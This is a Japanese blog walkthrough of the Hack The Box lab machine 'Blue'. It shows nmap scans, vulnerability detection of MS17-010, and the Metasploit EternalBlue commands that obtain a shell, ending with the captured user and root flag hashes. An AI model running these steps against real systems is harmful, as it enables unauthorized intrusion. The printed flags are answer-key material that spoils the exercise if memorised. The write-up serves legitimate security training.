セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Blue Walkthrough

はじめに

  • マシン名:Blue
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.40

ポートスキャン

マシン名からしてEternalblue(MS17-010)の脆弱性があるんだろうなと思いながら、ポートスキャンを実行。

# nmap -A 10.10.10.40

f:id:Paichan:20200412234858p:plain 135(msrpc)、139(netbios-ssn)、445(microsoft-ds)、49152~49167(netbios-ssn)が開いている。

445ポートの脆弱性調査

NSEを使って、445ポートの脆弱性を調べる。

# nmap --script vuln -p 445 10.10.10.40

f:id:Paichan:20200412235102p:plain 予想通り、MS17-010がVULNERABLEと判定された。

MS17-010の調査

MetasploitでMS17-010の脆弱性を突くエクスプロイトコードを探してみる。

# msfconsole
msf5 > search ms17-010
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

f:id:Paichan:20200412235505p:plain エクスプロイトコードの実行は成功し、ターゲット端末のシェルを獲得できた。

後はharisユーザのデスクトップ上にあるuser.txtとAdministratorユーザのデスクトップ上にあるroot.txtの中身を取得して終了。 f:id:Paichan:20200412235903p:plain f:id:Paichan:20200413000011p:plain

user.txt:4c546aea7dbee75cbd71de245c8deea9
root.txt:ff548eb71e920ff6c08843ce9df4e717